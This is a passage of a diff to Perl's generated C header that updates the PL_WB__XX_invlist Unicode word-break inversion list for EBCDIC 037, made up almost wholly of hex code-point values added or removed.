0x6EE, + 0x6F0, + 0x6FA, 0x6FD, 0x6FF, 0x700, + 0x703, 0x70F, + 0x710, + 0x711, + 0x712, + 0x730, 0x74B, 0x74D, + 0x7A6, + 0x7B1, 0x7B2, 0x7C0, + 0x7CA, + 0x7EB, + 0x7F4, 0x7F6, 0x7F8, 0x7F9, 0x7FA, 0x7FB, 0x800, + 0x816, + 0x81A, + 0x81B, + 0x824, + 0x825, + 0x828, + 0x829, 0x82E, 0x840, + 0x859, 0x85C, - 0x860, - 0x86B, 0x8A0, 0x8B5, 0x8B6, 0x8BE, 0x8D4, + 0x8E2, + 0x8E3, + 0x904, + 0x93A, + 0x93D, + 0x93E, + 0x950, + 0x951, + 0x958, + 0x962, 0x964, 0x966, 0x970, 0x971, + 0x981, 0x984, 0x985, 0x98D, @@ -359968,21 +76685,24 @@ static const UV PL_WB__XX_invlist[] = { /* for EBCDIC 037 */ 0x9B6, 0x9BA, 0x9BC, + 0x9BD, + 0x9BE, 0x9C5, 0x9C7, 0x9C9, 0x9CB, + 0x9CE, 0x9CF, 0x9D7, 0x9D8, 0x9DC, 0x9DE, 0x9DF, + 0x9E2, 0x9E4, 0x9E6, + 0x9F0, 0x9F2, - 0x9FC, - 0x9FD, 0xA01, 0xA04, 0xA05, @@ -360014,6 +76734,9 @@ static const UV PL_WB__XX_invlist[] = { /* for EBCDIC 037 */ 0xA5E, 0xA5F, 0xA66, + 0xA70, + 0xA72, + 0xA75, 0xA76, 0xA81, 0xA84, @@ -360030,6 +76753,8 @@ static const UV PL_WB__XX_invlist[] = { /* for EBCDIC 037 */ 0xAB5, 0xABA, 0xABC, + 0xABD, + 0xABE, 0xAC6, 0xAC7, 0xACA, @@ -360038,11 +76763,12 @@ static const UV PL_WB__XX_invlist[] = { /* for EBCDIC 037 */ 0xAD0, 0xAD1, 0xAE0, + 0xAE2, 0xAE4, 0xAE6, 0xAF0, 0xAF9, - 0xB00, + 0xAFA, 0xB01, 0xB04, 0xB05, @@ -360058,6 +76784,8 @@ static const UV PL_WB__XX_invlist[] = { /* for EBCDIC 037 */ 0xB35, 0xB3A, 0xB3C, + 0xB3D, + 0xB3E, 0xB45, 0xB47, 0xB49, @@ -360068,12 +76796,14 @@ static const UV PL_WB__XX_invlist[] = { /* for EBCDIC 037 */ 0xB5C, 0xB5E, 0xB5F, + 0xB62, 0xB64, 0xB66, 0xB70, 0xB71, 0xB72, 0xB82, + 0xB83, 0xB84, 0xB85, 0xB8B, @@ -360116,6 +76846,7 @@ static const UV PL_WB__XX_invlist[] = { /* for EBCDIC 037 */ 0xC2A, 0xC3A, 0xC3D, + 0xC3E, 0xC45, 0xC46, 0xC49, @@ -360126,10 +76857,12 @@ static const UV PL_WB__XX_invlist[] = { /* for EBCDIC 037 */ 0xC58, 0xC5B, 0xC60, + 0xC62, 0xC64, 0xC66, 0xC70, 0xC80, + 0xC81, 0xC84, 0xC85, 0xC8D, @@ -360142,6 +76875,8 @@ static const UV PL_WB__XX_invlist[] = { /* for EBCDIC 037 */ 0xCB5, 0xCBA, 0xCBC, + 0xCBD, + 0xCBE, 0xCC5, 0xCC6, 0xCC9, @@ -360152,26 +76887,33 @@ static const UV PL_WB__XX_invlist[] = { /* for EBCDIC 037 */ 0xCDE, 0xCDF, 0xCE0, + 0xCE2, 0xCE4, 0xCE6, 0xCF0, 0xCF1, 0xCF3, - 0xD00, + 0xD01, 0xD04, 0xD05, 0xD0D, 0xD0E, 0xD11, 0xD12, + 0xD3B, + 0xD3D, + 0xD3E, 0xD45, 0xD46, 0xD49, 0xD4A, + 0xD4E, 0xD4F, 0xD54, + 0xD57, 0xD58, 0xD5F, + 0xD62, 0xD64, 0xD66, 0xD70, @@ -360201,24 +76943,56 @@ static const UV PL_WB__XX_invlist[] = { /* for EBCDIC 037 */ 0xDF0, 0xDF2, 0xDF4, + 0xE01, 0xE31, 0xE32, 0xE34, 0xE3B, + 0xE40, 0xE47, 0xE4F, 0xE50, 0xE5A, + 0xE81, + 0xE83, + 0xE84, + 0xE85, + 0xE87, + 0xE89, + 0xE8A, + 0xE8B, + 0xE8D, + 0xE8E, + 0xE94, + 0xE98, + 0xE99, + 0xEA0, + 0xEA1, + 0xEA4, + 0xEA5, + 0xEA6, + 0xEA7, + 0xEA8, + 0xEAA, + 0xEAC, + 0xEAD, 0xEB1, 0xEB2, 0xEB4, 0xEBA, 0xEBB, 0xEBD, + 0xEBE, + 0xEC0, + 0xEC5, + 0xEC6, + 0xEC7, 0xEC8, 0xECE, 0xED0, 0xEDA, + 0xEDC, + 0xEE0, 0xF00, 0xF01, 0xF18, @@ -360232,21 +77006,27 @@ static const UV PL_WB__XX_invlist[] = { /* for EBCDIC 037 */ 0xF39, 0xF3A, 0xF3E, + 0xF40, 0xF48, 0xF49, 0xF6D, 0xF71, 0xF85, 0xF86, + 0xF88, + 0xF8D, 0xF98, 0xF99, 0xFBD, 0xFC6, 0xFC7, + 0x1000, 0x102B, 0x103F, 0x1040, 0x104A, + 0x104C, + 0x1050, 0x1056, 0x105A, 0x105E, @@ -360260,6 +77040,8 @@ static const UV PL_WB__XX_invlist[] = { /* for EBCDIC 037 */ 0x1082, 0x108E, 0x108F, + 0x1090, + 0x109A, 0x109E, 0x10A0, 0x10C6, @@ -360303,6 +77085,10 @@ static const UV PL_WB__XX_invlist[] = { /* for EBCDIC 037 */ 0x135B, 0x135D, 0x1360, + 0x1362, + 0x1363, + 0x1367, + 0x1369, 0x1380, 0x1390, 0x13A0, @@ -360311,10 +77097,12 @@ static const UV PL_WB__XX_invlist[] = { /* for EBCDIC 037 */ 0x13FE, 0x1401, 0x166D, + 0x166E, 0x166F, 0x1680, 0x1681, 0x169B, + 0x169D, 0x16A0, 0x16EB, 0x16EE, @@ -360322,10 +77110,14 @@ static const UV PL_WB__XX_invlist[] = { /* for EBCDIC 037 */ 0x1700, 0x170D, 0x170E, + 0x1712, 0x1715, 0x1720, + 0x1732, 0x1735, + 0x1737, 0x1740, + 0x1752, 0x1754, 0x1760, 0x176D, @@ -360333,19 +77125,34 @@ static const UV PL_WB__XX_invlist[] = { /* for EBCDIC 037 */ 0x1771, 0x1772, 0x1774, + 0x1780, 0x17B4, 0x17D4, + 0x17D7, + 0x17D8, + 0x17DC, 0x17DD, 0x17DE, 0x17E0, 0x17EA, + 0x1802, + 0x1803, + 0x1804, + 0x1808, + 0x1809, + 0x180A, 0x180B, + 0x180E, 0x180F, 0x1810, 0x181A, 0x1820, 0x1878, 0x1880, + 0x1885, + 0x1887, + 0x18A9, + 0x18AA, 0x18AB, 0x18B0, 0x18F6, @@ -360355,49 +77162,342 @@ static const UV PL_WB__XX_invlist[] = { /* for EBCDIC 037 */ 0x192C, 0x1930, 0x193C, + 0x1944, 0x1946, 0x1950, + 0x196E, + 0x1970, + 0x1975, + 0x1980, + 0x19AC, + 0x19B0, + 0x19CA, 0x19D0, 0x19DA, 0x1A00, + 0x1A17, 0x1A1C, + 0x1A20, 0x1A55, 0x1A5F, 0x1A60, 0x1A7D, 0x1A7F, + 0x1A80, 0x1A8A, 0x1A90, 0x1A9A, + 0x1AA7, + 0x1AA8, + 0x1AAC, 0x1AB0, 0x1ABF, 0x1B00, + 0x1B05, + 0x1B34, + 0x1B45, 0x1B4C, 0x1B50, 0x1B5A, + 0x1B5C, + 0x1B5E, + 0x1B60, 0x1B6B, 0x1B74, 0x1B80, + 0x1B83, + 0x1BA1, + 0x1BAE, + 0x1BB0, + 0x1BBA, + 0x1BE6, 0x1BF4, 0x1C00, + 0x1C24, 0x1C38, + 0x1C3B, + 0x1C3D, 0x1C40, 0x1C4A, 0x1C4D, + 0x1C50, + 0x1C5A, 0x1C7E, 0x1C80, 0x1C89, 0x1CD0, 0x1CD3, 0x1CD4, + 0x1CE9, + 0x1CED, + 0x1CEE, + 0x1CF2, + 0x1CF5, + 0x1CF7, + 0x1CF8, 0x1CFA, 0x1D00, - 0x1DFA, + 0x1DC0, + 0x1DF6, 0x1DFB, + 0x1E00, + 0x1E01, + 0x1E02, + 0x1E03, + 0x1E04, + 0x1E05, + 0x1E06, + 0x1E07, + 0x1E08, + 0x1E09, + 0x1E0A, + 0x1E0B, + 0x1E0C, + 0x1E0D, + 0x1E0E, + 0x1E0F, + 0x1E10, + 0x1E11, + 0x1E12, + 0x1E13, + 0x1E14, + 0x1E15, + 0x1E16, + 0x1E17, + 0x1E18, + 0x1E19, + 0x1E1A, + 0x1E1B, + 0x1E1C, + 0x1E1D, + 0x1E1E, + 0x1E1F, + 0x1E20, + 0x1E21, + 0x1E22, + 0x1E23, + 0x1E24, + 0x1E25, + 0x1E26, + 0x1E27, + 0x1E28, + 0x1E29, + 0x1E2A, + 0x1E2B, + 0x1E2C, + 0x1E2D, + 0x1E2E, + 0x1E2F, + 0x1E30, + 0x1E31, + 0x1E32, + 0x1E33, + 0x1E34, + 0x1E35, + 0x1E36, + 0x1E37, + 0x1E38, + 0x1E39, + 0x1E3A, + 0x1E3B, + 0x1E3C, + 0x1E3D, + 0x1E3E, + 0x1E3F, + 0x1E40, + 0x1E41, + 0x1E42, + 0x1E43, + 0x1E44, + 0x1E45, + 0x1E46, + 0x1E47, + 0x1E48, + 0x1E49, + 0x1E4A, + 0x1E4B, + 0x1E4C, + 0x1E4D, + 0x1E4E, + 0x1E4F, + 0x1E50, + 0x1E51, + 0x1E52, + 0x1E53, + 0x1E54, + 0x1E55, + 0x1E56, + 0x1E57, + 0x1E58, + 0x1E59, + 0x1E5A, + 0x1E5B, + 0x1E5C, + 0x1E5D, + 0x1E5E, + 0x1E5F, + 0x1E60, + 0x1E61, + 0x1E62, + 0x1E63, + 0x1E64, + 0x1E65, + 0x1E66, + 0x1E67, + 0x1E68, + 0x1E69, + 0x1E6A, + 0x1E6B, + 0x1E6C, + 0x1E6D, + 0x1E6E, + 0x1E6F, + 0x1E70, + 0x1E71, + 0x1E72, + 0x1E73, + 0x1E74, + 0x1E75, + 0x1E76, + 0x1E77, + 0x1E78, + 0x1E79, + 0x1E7A, + 0x1E7B, + 0x1E7C, + 0x1E7D, + 0x1E7E, + 0x1E7F, + 0x1E80, + 0x1E81, + 0x1E82, + 0x1E83, + 0x1E84, + 0x1E85, + 0x1E86, + 0x1E87, + 0x1E88, + 0x1E89, + 0x1E8A, + 0x1E8B, + 0x1E8C, + 0x1E8D, + 0x1E8E, + 0x1E8F, + 0x1E90, + 0x1E91, + 0x1E92, + 0x1E93, + 0x1E94, + 0x1E95, + 0x1E9E, + 0x1E9F, + 0x1EA0, + 0x1EA1, + 0x1EA2, + 0x1EA3, + 0x1EA4, + 0x1EA5, + 0x1EA6, + 0x1EA7, + 0x1EA8, + 0x1EA9, + 0x1EAA, + 0x1EAB, + 0x1EAC, + 0x1EAD, + 0x1EAE, + 0x1EAF, + 0x1EB0, + 0x1EB1, + 0x1EB2, + 0x1EB3, + 0x1EB4, + 0x1EB5, + 0x1EB6, + 0x1EB7, + 0x1EB8, + 0x1EB9, + 0x1EBA, + 0x1EBB, + 0x1EBC, + 0x1EBD, + 0x1EBE, + 0x1EBF, + 0x1EC0, + 0x1EC1, + 0x1EC2, + 0x1EC3, + 0x1EC4, + 0x1EC5, + 0x1EC6, + 0x1EC7, + 0x1EC8, + 0x1EC9, + 0x1ECA, + 0x1ECB, + 0x1ECC, + 0x1ECD, + 0x1ECE, + 0x1ECF, + 0x1ED0, + 0x1ED1, + 0x1ED2, + 0x1ED3, + 0x1ED4, + 0x1ED5, + 0x1ED6, + 0x1ED7, + 0x1ED8, + 0x1ED9, + 0x1EDA, + 0x1EDB, + 0x1EDC, + 0x1EDD, + 0x1EDE, + 0x1EDF, + 0x1EE0, + 0x1EE1, + 0x1EE2, + 0x1EE3, + 0x1EE4, + 0x1EE5, + 0x1EE6, + 0x1EE7, + 0x1EE8, + 0x1EE9, + 0x1EEA, + 0x1EEB, + 0x1EEC, + 0x1EED, + 0x1EEE, + 0x1EEF, + 0x1EF0, + 0x1EF1, + 0x1EF2, + 0x1EF3, + 0x1EF4, + 0x1EF5, + 0x1EF6, + 0x1EF7, + 0x1EF8, + 0x1EF9, + 0x1EFA, + 0x1EFB, + 0x1EFC, + 0x1EFD, + 0x1EFE, + 0x1EFF, + 0x1F08, + 0x1F10, 0x1F16, 0x1F18, 0x1F1E, 0x1F20, + 0x1F28, + 0x1F30, + 0x1F38, + 0x1F40, 0x1F46, 0x1F48, 0x1F4E, @@ -360410,49 +77510,75 @@ static const UV PL_WB__XX_invlist[] = { /* for EBCDIC 037 */ 0x1F5D, 0x1F5E, 0x1F5F, + 0x1F60, + 0x1F68, + 0x1F70, 0x1F7E, 0x1F80, + 0x1F88, + 0x1F90, + 0x1F98, + 0x1FA0, + 0x1FA8, + 0x1FB0, 0x1FB5, 0x1FB6, + 0x1FB8, 0x1FBD, 0x1FBE, 0x1FBF, 0x1FC2, 0x1FC5, 0x1FC6, + 0x1FC8, 0x1FCD, 0x1FD0, 0x1FD4, 0x1FD6, + 0x1FD8, 0x1FDC, 0x1FE0, + 0x1FE8, 0x1FED, 0x1FF2, 0x1FF5, 0x1FF6, + 0x1FF8, 0x1FFD, + 0x2000, + 0x200B, 0x200C, + 0x200E, 0x2010, + 0x2013, + 0x2015, 0x2018, - 0x201A, + 0x2020, 0x2024, 0x2025, - 0x2027, + 0x2028, + 0x202A, + 0x202F, 0x2030, - 0x203F, - 0x2041, - 0x2044, + 0x2039, + 0x203B, + 0x203C, + 0x203E, 0x2045, - 0x2054, - 0x2055, + 0x2047, + 0x204A, + 0x205F, 0x2060, 0x2065, 0x2066, 0x2070, 0x2071, 0x2072, + 0x207D, 0x207F, 0x2080, + 0x208D, + 0x208F, 0x2090, 0x209D, 0x20D0, @@ -360462,6 +77588,10 @@ static const UV PL_WB__XX_invlist[] = { /* for EBCDIC 037 */ 0x2107, 0x2108, 0x210A, + 0x210B, + 0x210E, + 0x2110, + 0x2113, 0x2114, 0x2115, 0x2116, @@ -360476,40 +77606,175 @@ static const UV PL_WB__XX_invlist[] = { /* for EBCDIC 037 */ 0x212A, 0x212E, 0x212F, + 0x2130, + 0x2134, + 0x2135, + 0x2139, 0x213A, 0x213C, + 0x213E, 0x2140, 0x2145, + 0x2146, 0x214A, 0x214E, 0x214F, 0x2160, + 0x2170, + 0x2180, + 0x2183, + 0x2184, + 0x2185, 0x2189, + 0x2308, + 0x230C, + 0x2329, + 0x232B, 0x24B6, + 0x24D0, 0x24EA, - 0x261D, - 0x261E, - 0x2640, - 0x2641, - 0x2642, - 0x2643, - 0x2695, - 0x2697, - 0x26F9, - 0x26FA, - 0x2708, - 0x2709, - 0x270A, - 0x270E, - 0x2764, - 0x2765, + 0x275B, + 0x2761, + 0x2768, + 0x2776, + 0x27C5, + 0x27C7, + 0x27E6, + 0x27F0, + 0x2983, + 0x2999, + 0x29D8, + 0x29DC, + 0x29FC, + 0x29FE, 0x2C00, 0x2C2F, 0x2C30, 0x2C5F, 0x2C60, + 0x2C61, + 0x2C62, + 0x2C65, + 0x2C67, + 0x2C68, + 0x2C69, + 0x2C6A, + 0x2C6B, + 0x2C6C, + 0x2C6D, + 0x2C71, + 0x2C72, + 0x2C73, + 0x2C75, + 0x2C76, + 0x2C7E, + 0x2C81, + 0x2C82, + 0x2C83, + 0x2C84, + 0x2C85, + 0x2C86, + 0x2C87, + 0x2C88, + 0x2C89, + 0x2C8A, + 0x2C8B, + 0x2C8C, + 0x2C8D, + 0x2C8E, + 0x2C8F, + 0x2C90, + 0x2C91, + 0x2C92, + 0x2C93, + 0x2C94, + 0x2C95, + 0x2C96, + 0x2C97, + 0x2C98, + 0x2C99, + 0x2C9A, + 0x2C9B, + 0x2C9C, + 0x2C9D, + 0x2C9E, + 0x2C9F, + 0x2CA0, + 0x2CA1, + 0x2CA2, + 0x2CA3, + 0x2CA4, + 0x2CA5, + 0x2CA6, + 0x2CA7, + 0x2CA8, + 0x2CA9, + 0x2CAA, + 0x2CAB, + 0x2CAC, + 0x2CAD, + 0x2CAE, + 0x2CAF, + 0x2CB0, + 0x2CB1, + 0x2CB2, + 0x2CB3, + 0x2CB4, + 0x2CB5, + 0x2CB6, + 0x2CB7, + 0x2CB8, + 0x2CB9, + 0x2CBA, + 0x2CBB, + 0x2CBC, + 0x2CBD, + 0x2CBE, + 0x2CBF, + 0x2CC0, + 0x2CC1, + 0x2CC2, + 0x2CC3, + 0x2CC4, + 0x2CC5, + 0x2CC6, + 0x2CC7, + 0x2CC8, + 0x2CC9, + 0x2CCA, + 0x2CCB, + 0x2CCC, + 0x2CCD, + 0x2CCE, + 0x2CCF, + 0x2CD0, + 0x2CD1, + 0x2CD2, + 0x2CD3, + 0x2CD4, + 0x2CD5, + 0x2CD6, + 0x2CD7, + 0x2CD8, + 0x2CD9, + 0x2CDA, + 0x2CDB, + 0x2CDC, + 0x2CDD, + 0x2CDE, + 0x2CDF, + 0x2CE0, + 0x2CE1, + 0x2CE2, + 0x2CE3, 0x2CE5, 0x2CEB, + 0x2CEC, + 0x2CED, + 0x2CEE, + 0x2CEF, + 0x2CF2, + 0x2CF3, 0x2CF4, 0x2D00, 0x2D26, @@ -360522,6 +77787,7 @@ static const UV PL_WB__XX_invlist[] = { /* for EBCDIC 037 */ 0x2D6F, 0x2D70, 0x2D7F, + 0x2D80, 0x2D97, 0x2DA0, 0x2DA7, @@ -360541,86 +77807,356 @@ static const UV PL_WB__XX_invlist[] = { /* for EBCDIC 037 */ 0x2DDF, 0x2DE0, 0x2E00, + 0x2E0E, + 0x2E1C, + 0x2E1E, + 0x2E20, + 0x2E2A, + 0x2E2E, 0x2E2F, 0x2E30, + 0x2E3C, + 0x2E3D, + 0x2E42, + 0x2E43, + 0x3000, + 0x3001, + 0x3002, + 0x3003, 0x3005, - 0x3006, + 0x3008, + 0x3012, + 0x3014, + 0x301C, + 0x301D, + 0x3020, + 0x3021, 0x302A, 0x3030, 0x3031, 0x3036, - 0x303B, + 0x3038, 0x303D, + 0x3041, + 0x3097, 0x3099, + 0x309B, 0x309D, 0x30A0, + 0x30A1, 0x30FB, 0x30FC, 0x3100, 0x3105, - 0x312F, + 0x312E, 0x3131, 0x318F, 0x31A0, 0x31BB, 0x31F0, 0x3200, - 0x32D0, - 0x32FF, - 0x3300, - 0x3358, + 0x3400, + 0x4DB6, + 0x4E00, + 0x9FD6, 0xA000, 0xA48D, 0xA4D0, 0xA4FE, + 0xA4FF, 0xA500, 0xA60D, + 0xA60E, 0xA610, + 0xA620, + 0xA62A, 0xA62C, 0xA640, + 0xA641, + 0xA642, + 0xA643, + 0xA644, + 0xA645, + 0xA646, + 0xA647, + 0xA648, + 0xA649, + 0xA64A, + 0xA64B, + 0xA64C, + 0xA64D, + 0xA64E, + 0xA64F, + 0xA650, + 0xA651, + 0xA652, + 0xA653, + 0xA654, + 0xA655, + 0xA656, + 0xA657, + 0xA658, + 0xA659, + 0xA65A, + 0xA65B, + 0xA65C, + 0xA65D, + 0xA65E, + 0xA65F, + 0xA660, + 0xA661, + 0xA662, + 0xA663, + 0xA664, + 0xA665, + 0xA666, + 0xA667, + 0xA668, + 0xA669, + 0xA66A, + 0xA66B, + 0xA66C, + 0xA66D, + 0xA66E, + 0xA66F, 0xA673, 0xA674, 0xA67E, 0xA67F, + 0xA680, + 0xA681, + 0xA682, + 0xA683, + 0xA684, + 0xA685, + 0xA686, + 0xA687, + 0xA688, + 0xA689, + 0xA68A, + 0xA68B, + 0xA68C, + 0xA68D, + 0xA68E, + 0xA68F, + 0xA690, + 0xA691, + 0xA692, + 0xA693, + 0xA694, + 0xA695, + 0xA696, + 0xA697, + 0xA698, + 0xA699, + 0xA69A, + 0xA69B, + 0xA69E, + 0xA6A0, + 0xA6F0, 0xA6F2, + 0xA6F3, + 0xA6F4, + 0xA6F7, + 0xA6F8, 0xA717, + 0xA720, + 0xA722, + 0xA723, + 0xA724, + 0xA725, + 0xA726, + 0xA727, + 0xA728, + 0xA729, + 0xA72A, + 0xA72B, + 0xA72C, + 0xA72D, + 0xA72E, + 0xA72F, + 0xA732, + 0xA733, + 0xA734, + 0xA735, + 0xA736, + 0xA737, + 0xA738, + 0xA739, + 0xA73A, + 0xA73B, + 0xA73C, + 0xA73D, + 0xA73E, + 0xA73F, + 0xA740, + 0xA741, + 0xA742, + 0xA743, + 0xA744, + 0xA745, + 0xA746, + 0xA747, + 0xA748, + 0xA749, + 0xA74A, + 0xA74B, + 0xA74C, + 0xA74D, + 0xA74E, + 0xA74F, + 0xA750, + 0xA751, + 0xA752, + 0xA753, + 0xA754, + 0xA755, + 0xA756, + 0xA757, + 0xA758, + 0xA759, + 0xA75A, + 0xA75B, + 0xA75C, + 0xA75D, + 0xA75E, + 0xA75F, + 0xA760, + 0xA761, + 0xA762, + 0xA763, + 0xA764, + 0xA765, + 0xA766, + 0xA767, + 0xA768, + 0xA769, + 0xA76A, + 0xA76B, + 0xA76C, + 0xA76D, + 0xA76E, + 0xA76F, + 0xA779, + 0xA77A, + 0xA77B, + 0xA77C, + 0xA77D, + 0xA77F, + 0xA780, + 0xA781, + 0xA782, + 0xA783, + 0xA784, + 0xA785, + 0xA786, + 0xA787, + 0xA788, + 0xA789, + 0xA78B, + 0xA78C, + 0xA78D, + 0xA78E, + 0xA78F, + 0xA790, + 0xA791, + 0xA792, + 0xA793, + 0xA796, + 0xA797, + 0xA798, + 0xA799, + 0xA79A, + 0xA79B, + 0xA79C, + 0xA79D, + 0xA79E, + 0xA79F, + 0xA7A0, + 0xA7A1, + 0xA7A2, + 0xA7A3, + 0xA7A4, + 0xA7A5, + 0xA7A6, + 0xA7A7, + 0xA7A8, + 0xA7A9, + 0xA7AA, 0xA7AF, 0xA7B0, + 0xA7B5, + 0xA7B6, + 0xA7B7, 0xA7B8, 0xA7F7, + 0xA7F8, + 0xA7FB, + 0xA802, + 0xA803, + 0xA806, + 0xA807, + 0xA80B, + 0xA80C, + 0xA823, 0xA828, 0xA840, 0xA874, + 0xA876, + 0xA878, 0xA880, + 0xA882, + 0xA8B4, 0xA8C6, + 0xA8CE, 0xA8D0, 0xA8DA, 0xA8E0, + 0xA8F2, 0xA8F8, 0xA8FB, 0xA8FC, 0xA8FD, 0xA8FE, 0xA900, + 0xA90A, + 0xA926, 0xA92E, + 0xA92F, 0xA930, + 0xA947, 0xA954, 0xA960, 0xA97D, 0xA980, + 0xA984, + 0xA9B3, 0xA9C1, + 0xA9C8, + 0xA9CA, 0xA9CF, + 0xA9D0, 0xA9DA, + 0xA9E0, 0xA9E5, 0xA9E6, 0xA9F0, 0xA9FA, + 0xA9FF, 0xAA00, + 0xAA29, 0xAA37, 0xAA40, + 0xAA43, + 0xAA44, + 0xAA4C, 0xAA4E, 0xAA50, 0xAA5A, + 0xAA5D, + 0xAA60, + 0xAA77, + 0xAA7A, 0xAA7B, 0xAA7E, 0xAAB0, @@ -360633,9 +78169,14 @@ static const UV PL_WB__XX_invlist[] = { /* for EBCDIC 037 */ 0xAAC0, 0xAAC1, 0xAAC2, + 0xAAC3, + 0xAADB, + 0xAADE, 0xAAE0, + 0xAAEB, 0xAAF0, 0xAAF2, + 0xAAF5, 0xAAF7, 0xAB01, 0xAB07, @@ -360648,8 +78189,12 @@ static const UV PL_WB__XX_invlist[] = { /* for EBCDIC 037 */ 0xAB28, 0xAB2F, 0xAB30, + 0xAB5B, + 0xAB5C, 0xAB66, 0xAB70, + 0xABC0, + 0xABE3, 0xABEB, 0xABEC, 0xABEE, @@ -360661,11 +78206,17 @@ static const UV PL_WB__XX_invlist[] = { /* for EBCDIC 037 */ 0xD7C7, 0xD7CB, 0xD7FC, + 0xF900, + 0xFA6E, + 0xFA70, + 0xFADA, 0xFB00, 0xFB07, 0xFB13, 0xFB18, 0xFB1D, + 0xFB1E, + 0xFB1F, 0xFB29, 0xFB2A, 0xFB37, @@ -360681,6 +78232,7 @@ static const UV PL_WB__XX_invlist[] = { /* for EBCDIC 037 */ 0xFBB2, 0xFBD3, 0xFD3E, + 0xFD40, 0xFD50, 0xFD90, 0xFD92, @@ -360688,40 +78240,65 @@ static const UV PL_WB__XX_invlist[] = { /* for EBCDIC 037 */ 0xFDF0, 0xFDFC, 0xFE00, - 0xFE11, + 0xFE10, + 0xFE12, 0xFE13, - 0xFE15, + 0xFE14, + 0xFE17, + 0xFE19, 0xFE20, 0xFE30, + 0xFE31, 0xFE33, 0xFE35, - 0xFE4D, - 0xFE51, + 0xFE45, + 0xFE47, + 0xFE49, + 0xFE50, 0xFE52, 0xFE53, - 0xFE54, + 0xFE55, 0xFE56, + 0xFE58, + 0xFE59, + 0xFE5F, + 0xFE63, + 0xFE64, 0xFE70, 0xFE75, 0xFE76, 0xFEFD, 0xFEFF, 0xFF00, - 0xFF07, + 0xFF01, + 0xFF02, 0xFF08, + 0xFF0A, 0xFF0C, - 0xFF0D, 0xFF0E, 0xFF0F, 0xFF1A, - 0xFF1C, + 0xFF1B, + 0xFF1F, + 0xFF20, 0xFF21, 0xFF3B, - 0xFF3F, - 0xFF40, + 0xFF3C, + 0xFF3D, + 0xFF3E, 0xFF41, 0xFF5B, + 0xFF5C, + 0xFF5D, + 0xFF5E, + 0xFF5F, + 0xFF61, + 0xFF62, + 0xFF64, + 0xFF65, 0xFF66, + 0xFF9E, + 0xFFA0, 0xFFBF, 0xFFC2, 0xFFC8, @@ -360759,9 +78336,10 @@ static const UV PL_WB__XX_invlist[] = { /* for EBCDIC 037 */ 0x102E1, 0x10300, 0x10320, - 0x1032D, + 0x10330, 0x1034B, 0x10350, + 0x10376, 0x1037B, 0x10380, 0x1039E, @@ -360772,6 +78350,8 @@ static const UV PL_WB__XX_invlist[] = { /* for EBCDIC 037 */ 0x103D1, 0x103D6, 0x10400, + 0x10428, + 0x10450, 0x1049E, 0x104A0, 0x104AA, @@ -360818,10 +78398,12 @@ static const UV PL_WB__XX_invlist[] = { /* for EBCDIC 037 */ 0x109BE, 0x109C0, 0x10A00, + 0x10A01, 0x10A04, 0x10A05, 0x10A07, 0x10A0C, + 0x10A10, 0x10A14, 0x10A15, 0x10A18, @@ -360831,6 +78413,8 @@ static const UV PL_WB__XX_invlist[] = { /* for EBCDIC 037 */ 0x10A3B, 0x10A3F, 0x10A40, + 0x10A56, + 0x10A58, 0x10A60, 0x10A7D, 0x10A80, @@ -360838,6 +78422,7 @@ static const UV PL_WB__XX_invlist[] = { /* for EBCDIC 037 */ 0x10AC0, 0x10AC8, 0x10AC9, + 0x10AE5, 0x10AE7, 0x10B00, 0x10B36, @@ -360854,37 +78439,60 @@ static const UV PL_WB__XX_invlist[] = { /* for EBCDIC 037 */ 0x10CC0, 0x10CF3, 0x11000, + 0x11003, + 0x11038, 0x11047, + 0x11049, 0x11066, 0x11070, 0x1107F, + 0x11083, + 0x110B0, 0x110BB, 0x110BD, 0x110BE, + 0x110C2, 0x110D0, 0x110E9, 0x110F0, 0x110FA, 0x11100, + 0x11103, + 0x11127, 0x11135, 0x11136, 0x11140, + 0x11141, + 0x11144, 0x11150, + 0x11173, 0x11174, 0x11176, 0x11177, 0x11180, + 0x11183, + 0x111B3, + 0x111C1, 0x111C5, + 0x111C7, 0x111CA, 0x111CD, + 0x111CE, 0x111D0, + 0x111DA, 0x111DB, 0x111DC, 0x111DD, + 0x111DE, + 0x111E0, 0x11200, 0x11212, 0x11213, + 0x1122C, 0x11238, + 0x1123A, + 0x1123B, + 0x1123D, 0x1123E, 0x1123F, 0x11280, @@ -360897,7 +78505,9 @@ static const UV PL_WB__XX_invlist[] = { /* for EBCDIC 037 */ 0x1129E, 0x1129F, 0x112A9, + 0x112AA, 0x112B0, + 0x112DF, 0x112EB, 0x112F0, 0x112FA, @@ -360916,6 +78526,8 @@ static const UV PL_WB__XX_invlist[] = { /* for EBCDIC 037 */ 0x11335, 0x1133A, 0x1133C, + 0x1133D, + 0x1133E, 0x11345, 0x11347, 0x11349, @@ -360926,61 +78538,76 @@ static const UV PL_WB__XX_invlist[] = { /* for EBCDIC 037 */ 0x11357, 0x11358, 0x1135D, + 0x11362, 0x11364, 0x11366, 0x1136D, 0x11370, 0x11375, 0x11400, + 0x11435, + 0x11447, 0x1144B, + 0x1144D, 0x11450, 0x1145A, 0x11480, + 0x114B0, + 0x114C4, 0x114C6, 0x114C7, 0x114C8, 0x114D0, 0x114DA, 0x11580, + 0x115AF, 0x115B6, 0x115B8, 0x115C1, + 0x115C2, + 0x115C4, + 0x115C9, 0x115D8, + 0x115DC, 0x115DE, 0x11600, + 0x11630, 0x11641, + 0x11643, 0x11644, 0x11645, 0x11650, 0x1165A, 0x11680, + 0x116AB, 0x116B8, 0x116C0, 0x116CA, + 0x11700, + 0x1171A, 0x1171D, 0x1172C, 0x11730, 0x1173A, + 0x1173C, + 0x1173F, 0x118A0, + 0x118C0, + 0x118E0, 0x118EA, 0x118FF, 0x11900, - 0x11A00, - 0x11A3F, - 0x11A47, - 0x11A48, - 0x11A50, - 0x11A84, - 0x11A86, - 0x11A9A, 0x11AC0, 0x11AF9, 0x11C00, 0x11C09, 0x11C0A, + 0x11C2F, 0x11C37, 0x11C38, + 0x11C40, 0x11C41, + 0x11C43, 0x11C50, 0x11C5A, 0x11C72, @@ -360989,20 +78616,6 @@ static const UV PL_WB__XX_invlist[] = { /* for EBCDIC 037 */ 0x11CA8, 0x11CA9, 0x11CB7, - 0x11D00, - 0x11D07, - 0x11D08, - 0x11D0A, - 0x11D0B, - 0x11D37, - 0x11D3A, - 0x11D3B, - 0x11D3C, - 0x11D3E, - 0x11D3F, - 0x11D48, - 0x11D50, - 0x11D5A, 0x12000, 0x1239A, 0x12400, @@ -361019,14 +78632,20 @@ static const UV PL_WB__XX_invlist[] = { /* for EBCDIC 037 */ 0x16A5F, 0x16A60, 0x16A6A, + 